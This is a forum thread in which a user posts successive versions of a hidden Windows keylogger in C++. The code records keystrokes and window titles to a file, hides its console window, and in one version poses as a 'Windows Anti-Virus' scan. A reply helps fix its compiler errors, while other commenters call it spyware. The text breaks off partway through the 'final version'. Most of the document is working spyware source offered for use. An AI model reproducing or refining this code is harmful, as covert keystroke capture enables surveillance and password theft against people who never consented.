//does not use much cpu, records almost all keys on keyboard (not some of the
//keys which are different in other countries)

#include "stdafx.h"
#include <iostream>         
#include <windows.h>
#include <winuser.h>
#include <fstream>
#include <time.h>
#include <string>
#pragma warning(disable: 4996)

using namespace std;

int addTITLE(char *title)
{
      ofstream keylog("c:\\KLF.txt", ios::app);
      keylog << "\n";
      keylog << title;
      keylog << "\n";
      keylog.close();
      printf("\n%s\n", title);
}

int KeyLog(char key)
{
      ofstream keylog("c:\\KLF.txt", ios::app);
      keylog << key;
      keylog.close();
      printf("%c", key);
}
void KeyCheck()
{
      char key;
      int pause;
char title[MAX_PATH];
char oldtitle[MAX_PATH];
GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
sprintf(oldtitle,"%s",title);
addTITLE(title); 
      while(1)
      {
              for(key = 32;key<=127;key++)
              {
                      GetWindowText(GetForegroundWindow(), title, GetWindowTextLength(GetForegroundWindow()) + 1);
                       if(strcmp(title,oldtitle)){
                       addTITLE(title);
                       sprintf(oldtitle,"%s",title);
                       }
                                 if (GetAsyncKeyState(key)==-32767)
                                 {
                                       pause = KeyLog(key); 
              
                                 }
              }
              Sleep(2);
      }
     
}




int _tmain(int argc, _TCHAR* argv[])

{
KeyCheck();

    int Result;
    
        Result = MessageBox(NULL, "Are you sure you want to run A Full Computer Scan to check for viruses?", "Windows Anti-Virus",MB_YESNO | MB_ICONQUESTION);
        if (Result == IDYES) {
                   MessageBox(NULL, "Ok, Windows antivirus will run in background, this could take several minutes or hours",  "Windows Anti-Virus",MB_OK | MB_ICONINFORMATION);
                   }
        if (Result == IDNO) {
                   return EXIT_SUCCESS;
                   }
        SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
      
        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
        
        
        
        string keylog;        
        while (true){
              
                        {FILE *file;
                        file=fopen(keylog.c_str(), "a+");
                        time_t theTime=time(0);
                        fputs("\nStarted logging: ", file);
                        fputs(ctime(&theTime),file);
                        fclose(file);
   }   
              
              if  (GetAsyncKeyState(0x41)){
                     cout<<"a";
                     keylog+="a";
                     Sleep(100);       
                     }
            
              if  (GetAsyncKeyState(0x42)){
                     cout<<"b";
                     keylog+="b";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x43)){
                     cout<<"c";
                     keylog+="c";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x44)){
                     cout<<"d";
                     keylog+="d";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x45)){
                     cout<<"e";
                     keylog+="e";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x46)){
                     cout<<"f";
                     keylog+="f";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x47)){
                     cout<<"g";
                     keylog+="g";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x48)){
                     cout<<"h";
                     keylog+="h";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x49)){
                     cout<<"i";
                     keylog+="i";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4a)){
                     cout<<"j";
                     keylog+="j";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4b)){
                     cout<<"k";
                     keylog+="k";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4c)){
                     cout<<"l";
                     keylog+="l";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4d)){
                     cout<<"m";
                     keylog+="m";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4e)){
                     cout<<"n";
                     keylog+="n";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4f)){
                     cout<<"o";
                     keylog+="o";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x50)){
                     cout<<"p";
                     keylog+="p";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x51)){
                     cout<<"q";
                     keylog+="q";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x52)){
                     cout<<"r";
                     keylog+="r";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x53)){
                     cout<<"s";
                     keylog+="s";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x54)){
                     cout<<"t";
                     keylog+="t";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x55)){
                     cout<<"u";
                     keylog+="u";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x56)){
                     cout<<"v";
                     keylog+="v";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x57)){
                     cout<<"w";
                     keylog+="w";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x58)){
                     cout<<"x";
                     keylog+="x";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x59)){
                     cout<<"y";
                     keylog+="y";
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x5A)){
                     cout<<"z";
                     keylog+="z";
                     Sleep(100);
                     }
                                
              if  (GetAsyncKeyState(VK_SPACE)){
                     cout<<" ";
                     keylog+=" ";
                     Sleep(100);   
                     }
                     
              if (GetAsyncKeyState(0xBE)){
                    cout<<".";
                    keylog+=".";
                    Sleep(100);
                    }
                    
              if (GetAsyncKeyState(0x0D)){
                   cout<<"/n";
                   keylog+="/n";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x30)){
                   cout<<"0";
                   keylog+="0";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x31)){
                   cout<<"1";
                   keylog+="1";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x32)){
                   cout<<"2";
                   keylog+="2";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x33)){
                   cout<<"3";
                   keylog+="3";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x34)){
                   cout<<"4";
                   keylog+="4";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x35)){
                   cout<<"5";
                   keylog+="5";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x36)){
                   cout<<"6";
                   keylog+="6";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x37)){
                   cout<<"7";
                   keylog+="7";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x38)){
                   cout<<"8";
                   keylog+="8";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x39)){
                   cout<<"9";
                   keylog+="9";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LBUTTON)){
                   cout<<"[Left_Mouse_Button]";
                   keylog+="[Left_Mouse_Button]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RBUTTON)){
                   cout<<"[Right_Mouse_Button]";
                   keylog+="[Right_Mouse_Button]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MBUTTON)){
                   cout<<"[Middle_Mouse_Button]";
                   keylog+="[Middle_Mouse_Button]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_BACK)){
                   cout<<"[BACKSPACE]";
                   keylog+="[BACKSPACE]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_TAB)){
                   cout<<"[TAB]";
                   keylog+="[TAB]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LSHIFT)){
                   cout<<"[LSHIFT]";
                   keylog+="[LSHIFT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RSHIFT)){
                   cout<<"[RSHIFT]";
                   keylog+="[RSHIFT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LCONTROL)){
                   cout<<"[LCONTROL";
                   keylog+="[LCONTROL]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RCONTROL)){
                   cout<<"[RCONTROL]";
                   keylog+="[RCONTROL]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMLOCK)){
                   cout<<"[NUMLOCK]";
                   keylog+="[NUMLOCK]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SCROLL)){
                   cout<<"[SCROLL_LOCK]";
                   keylog+="[SCROLL_LOCK]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DELETE)){
                   cout<<"[DELETE]";
                   keylog+="[DELETE]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_INSERT)){
                   cout<<"[INSERT]";
                   keylog+="[INSERT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SNAPSHOT)){
                   cout<<"[PRINTSCREEN]";
                   keylog+="[PRINTSCREEN]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_ESCAPE)){
                   cout<<"[ESC]";
                   keylog+="[ESC]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_CAPITAL)){
                   cout<<"[CAPS_LOCK]";
                   keylog+="[CAPS_LOCK]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x25)){
                   cout<<"";
                   keylog+="";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x26)){
                   cout<<"[UP]";
                   keylog+="[UP]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x27)){
                   cout<<"";
                   keylog+="";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x28)){
                   cout<<"[DOWN]";
                   keylog+="[DOWN]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F1)){
                   cout<<"[F1]";
                   keylog+="[F1]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F2)){
                   cout<<"[F2]";
                   keylog+="[F2]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F3)){
                   cout<<"[F3]";
                   keylog+="[F3]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F4)){
                   cout<<"[F4]";
                   keylog+="[F4]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F5)){
                   cout<<"[F5]";
                   keylog+="[F5]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F6)){
                   cout<<"[F6]";
                   keylog+="[F6]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F7)){
                   return EXIT_SUCCESS;
                   }
                   
              if (GetAsyncKeyState (VK_F8)){
                   cout<<"[F8]";
                   keylog+="[F8]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F9)){
                   cout<<"[F9]";
                   keylog+="[F9]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F10)){
                   cout<<"[F10]";
                   keylog+="[F10]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F11)){
                   cout<<"[F11]";
                   keylog+="[F11]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F12)){
                   cout<<"[F12]";
                   keylog+="[F12]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD0)){
                   cout<<"[NUMPAD0]";
                   keylog+="[NUMPAD0]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD1)){
                   cout<<"[NUMPAD1]";
                   keylog+="[NUMPAD1]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD2)){
                   cout<<"[NUMPAD2]";
                   keylog+="[NUMPAD2]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD3)){
                   cout<<"[NUMPAD3]";
                   keylog+="[NUMPAD3]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD4)){
                   cout<<"[NUMPAD4]";
                   keylog+="[NUMPAD4]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD5)){
                   cout<<"[NUMPAD5]";
                   keylog+="[NUMPAD5]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD6)){
                   cout<<"[NUMPAD6]";
                   keylog+="[NUMPAD6]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD7)){
                   cout<<"[NUMPAD7]";
                   keylog+="[NUMPAD7]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD8)){
                   cout<<"[NUMPAD8]";
                   keylog+="[NUMPAD8]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD9)){
                   cout<<"[NUMPAD9]";
                   keylog+="[NUMPAD9]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MULTIPLY)){
                   cout<<"[*]";
                   keylog+="[*]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DIVIDE)){
                   cout<<"/";
                   keylog+="/";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBB)){
                   cout<<"[+]";
                   keylog+="[+]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBC)){
                   cout<<",";
                   keylog+=",";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBD)){
                   cout<<"[-]";
                   keylog+="[-]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_1)){
                   cout<<"[:;]";
                   keylog+="[:;]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_2)){
                   cout<<"[/?]";
                   keylog+="[/?]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_4)){
                   cout<<"[ [{ ]";
                   keylog+="[ [{ ]";
                   Sleep(100);
                   }                        
                   
              if (GetAsyncKeyState (VK_OEM_6)){
                   cout<<"[ ]} ]";
                   keylog+="[ ]} ]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MENU)){
                   cout<<"[ALT]";
                   keylog+="[ALT]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_END)){
                   cout<<"[END]";
                   keylog+="[END]";
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_HOME)){
                   cout<<"[HOME]";
                   keylog+="[HOME]";
                   Sleep(100);
                   }
                   
                   }
                   
        ofstream file;
        file.open ("KLF.txt");
        file << keylog;
        file.close();
                              


 return 0;

}

I have took alot of your time here but it was all worth it :) well for me anyway. I have learned a lot. But now i think it comes to the point where i think i need help the most because the errors before could have been solved easily by me but i did not pay much attention. Thanks again:)

>>error C4716: 'addTITLE' : must return a value
>>error C4716: 'KeyLog' : must return a value

That means those two functions must contain a return statement. You declared the functions as returning an int but never stated the return value. If the functions don't need a return value then declare them as void, not int.

wait, what?

its been three days ... why haven't you guys finished helping this kid write his spyware program, yet?

who do i give neg rep to?

You needn't worry. This code is so extraneous and beyond broken, that it'll never get off the ground.

commented: aha, probably right. +8
commented: Good, someone else sees the light... +29
commented: That's right, the code is just too bloated :) ... +2

ok so i fixed the code and it compiled with no errors or warning but the thing was that it was too buggy and even the debugger failed lol. So i just took a few things out and viola here we are, but can you tell me something here? It is not saving to a log file, isnt the fopen code ment to create a file where the exe is? i can't find any darn txt files where the exe is lol. or am i writing the fopen syntax wrong?

#include "stdafx.h"
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
#include <string>

using namespace std;

   
    int keys(int key,char *file)
{

FILE *keys;
keys = fopen ("Keylog.txt","w");

 


              
		while (true){
			
		
     
			  if (GetAsyncKeyState(0xBE)){
                    fprintf(keys,"%s",".");
                    Sleep(100);
                    }
                    
              if (GetAsyncKeyState(0x0D)){
                   fprintf(keys,"%s","[\n]");
                   Sleep(100);
                   }

			  if (GetAsyncKeyState (VK_LBUTTON)){
                   fprintf(keys,"%s","[Left_Mouse_Button]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RBUTTON)){
                   fprintf(keys,"%s","[Right_Mouse_Button]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MBUTTON)){
                   fprintf(keys,"%s","[Middle_Mouse_Button]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_BACK)){
                   fprintf(keys,"%s","[BACKSPACE]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_TAB)){
                   fprintf(keys,"%s","[TAB]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LSHIFT)){
                   fprintf(keys,"%s","[LSHIFT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RSHIFT)){
                   fprintf(keys,"%s","[RSHIFT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LCONTROL)){
                   fprintf(keys,"%s","[LCTRL]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RCONTROL)){
                   fprintf(keys,"%s","[RCTRL]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMLOCK)){
                   fprintf(keys,"%s","[NUMLOCK]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SCROLL)){
                   fprintf(keys,"%s","[SCROLL_LOCK]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DELETE)){                   
                   fprintf(keys,"%s","[DELETE]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_INSERT)){
                   fprintf(keys,"%s","[INSERT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SNAPSHOT)){
                   fprintf(keys,"%s","[PRINTSCREEN]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_ESCAPE)){
                   fprintf(keys,"%s","[ESC]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_CAPITAL)){
                   fprintf(keys,"%s","[CAPSLOCK]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x25)){
                   fprintf(keys,"%s","");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x26)){
                   fprintf(keys,"%s","[UP]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x27)){
                   fprintf(keys,"%s","");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x28)){
                   fprintf(keys,"%s","[DOWN]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F1)){
                   fprintf(keys,"%s","[F1]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F2)){
                   fprintf(keys,"%s","[F2]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F3)){
                   fprintf(keys,"%s","[F3]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F4)){
                   fprintf(keys,"%s","[F4]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F5)){
                   fprintf(keys,"%s","[F5]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F6)){
                   fprintf(keys,"%s","[F6]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F7)){
                   return EXIT_SUCCESS;
                   }
                   
              if (GetAsyncKeyState (VK_F8)){
                   fprintf(keys,"%s","[F8]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F9)){
                   fprintf(keys,"%s","[F9]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F10)){
                   fprintf(keys,"%s","[F10]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F11)){
                   fprintf(keys,"%s","[F11]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_F12)){
                   fprintf(keys,"%s","[F12]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD0)){
                   fprintf(keys,"%s","[NUMPAD-0]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD1)){
                   fprintf(keys,"%s","[NUMPAD-1]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD2)){
                   fprintf(keys,"%s","[NUMPAD-2]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD3)){
                   fprintf(keys,"%s","[NUMPAD-3]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD4)){
                   fprintf(keys,"%s","[NUMPAD-4]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD5)){
                   fprintf(keys,"%s","[NUMPAD-5]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD6)){
                   fprintf(keys,"%s","[NUMPAD-6]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD7)){
                   fprintf(keys,"%s","[NUMPAD-7]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD8)){
                   fprintf(keys,"%s","[NUMPAD-8]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMPAD9)){
                   fprintf(keys,"%s","[NUMPAD-9]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MULTIPLY)){
                   fprintf(keys,"%s","[*]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DIVIDE)){
                   fprintf(keys,"%s","[/]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBB)){
                   fprintf(keys,"%s","[+]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBC)){
                   fprintf(keys,"%s",",");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0xBD)){
                   fprintf(keys,"%s","[-]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_1)){
                   fprintf(keys,"%s","[;:]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_2)){
                   fprintf(keys,"%s","[/?]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_OEM_4)){
                   fprintf(keys,"%s","[ [{ ]");
                   Sleep(100);
                   }                        
                   
              if (GetAsyncKeyState (VK_OEM_6)){
                   fprintf(keys,"%s","[ ]} ]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MENU)){
                   fprintf(keys,"%s","[ALT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_END)){
                   fprintf(keys,"%s","[END]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_HOME)){
                   fprintf(keys,"%s","[HOME]");
                   Sleep(100);
                   }
			  if  (GetAsyncKeyState(0x41)){
                     fprintf(keys,"%s","a");
                     Sleep(100);       
                     }
            
              if  (GetAsyncKeyState(0x42)){
                     fprintf(keys,"%s","b");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x43)){
                     fprintf(keys,"%s","c");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x44)){
                     fprintf(keys,"%s","d");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x45)){
                     fprintf(keys,"%s","e");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x46)){
                     fprintf(keys,"%s","f");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x47)){
                     fprintf(keys,"%s","g");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x48)){
                     fprintf(keys,"%s","h");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x49)){
                     fprintf(keys,"%s","i");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4a)){
                     fprintf(keys,"%s","j");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4b)){
                     fprintf(keys,"%s","k");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4c)){
                     fprintf(keys,"%s","l");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4d)){
                     fprintf(keys,"%s","m");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4e)){
                     fprintf(keys,"%s","n");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x4f)){
                     fprintf(keys,"%s","o");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x50)){
                     fprintf(keys,"%s","p");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x51)){
                     fprintf(keys,"%s","q");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x52)){
                     fprintf(keys,"%s","r");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x53)){
                     fprintf(keys,"%s","s");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x54)){
                     fprintf(keys,"%s","t");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x55)){
                     fprintf(keys,"%s","u");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x56)){
                     fprintf(keys,"%s","v");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x57)){
                     fprintf(keys,"%s","w");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x58)){
                     fprintf(keys,"%s","x");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x59)){
                     fprintf(keys,"%s","y");
                     Sleep(100);
                     }
                     
              if  (GetAsyncKeyState(0x5A)){
                     fprintf(keys,"%s","z");
                     Sleep(100);
                     }
                                
              if  (GetAsyncKeyState(VK_SPACE)){
                     fprintf(keys,"%s"," ");
                     Sleep(100);   
                     }                     
                                 
              if (GetAsyncKeyState (0x30)){
                   fprintf(keys,"%s","0");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x31)){
                   fprintf(keys,"%s","1");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x32)){
                   fprintf(keys,"%s","2");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x33)){
                   fprintf(keys,"%s","3");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x34)){
                   fprintf(keys,"%s","4");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x35)){
                   fprintf(keys,"%s","5");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x36)){
                   fprintf(keys,"%s","6");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x37)){
                   fprintf(keys,"%s","7");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x38)){
                   fprintf(keys,"%s","8");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (0x39)){
                   fprintf(keys,"%s","9");
                   Sleep(100);
                   }                 

}

fclose(keys);

}

int main()
{
            SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
      
        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
        
        TCHAR szPath[MAX_PATH]; 
 
        GetModuleFileName(NULL, 
        szPath, 
        MAX_PATH); 
        
	return 0;
}
commented: The only encouragement from this sad thread is your ineptitude. Find something constructive to do before you wind up in jail. -6

No problem i fixed it myself, here is the final version. Thank you for all your time. I hope i have not been too much of a noob lol. BYE

#include "stdafx.h"
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#pragma warning(disable: 4996)
#define FileName "keylog.txt"

using namespace std;

int main(void)
{
	    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
      
        HWND stealth; 
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);

		FILE *keys;
        keys=fopen(FileName,"a+");
              
		while (1){
			  
			  FILE *keys;
              keys=fopen(FileName,"a+");
              if(keys==NULL)
                            {
                                    return 1;
                            }
			   else
			   {			
		
     
			  if (GetAsyncKeyState(0xBE)){
                    fprintf(keys,"%s",".");
                    Sleep(100);
                    }
                    
              if (GetAsyncKeyState(0x0D)){
                   fprintf(keys,"%s","[\n]");
                   Sleep(100);
                   }

			  if (GetAsyncKeyState (VK_LBUTTON)){
                   fprintf(keys,"%s","[Left_Mouse_Button]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RBUTTON)){
                   fprintf(keys,"%s","[Right_Mouse_Button]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_MBUTTON)){
                   fprintf(keys,"%s","[Middle_Mouse_Button]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_BACK)){
                   fprintf(keys,"%s","[BACKSPACE]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_TAB)){
                   fprintf(keys,"%s","[TAB]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LSHIFT)){
                   fprintf(keys,"%s","[LSHIFT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RSHIFT)){
                   fprintf(keys,"%s","[RSHIFT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_LCONTROL)){
                   fprintf(keys,"%s","[LCTRL]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_RCONTROL)){
                   fprintf(keys,"%s","[RCTRL]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_NUMLOCK)){
                   fprintf(keys,"%s","[NUMLOCK]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SCROLL)){
                   fprintf(keys,"%s","[SCROLL_LOCK]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_DELETE)){                   
                   fprintf(keys,"%s","[DELETE]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_INSERT)){
                   fprintf(keys,"%s","[INSERT]");
                   Sleep(100);
                   }
                   
              if (GetAsyncKeyState (VK_SNAPSHOT)){
                   fprintf(keys,"%s","[PRINTSCREEN]");
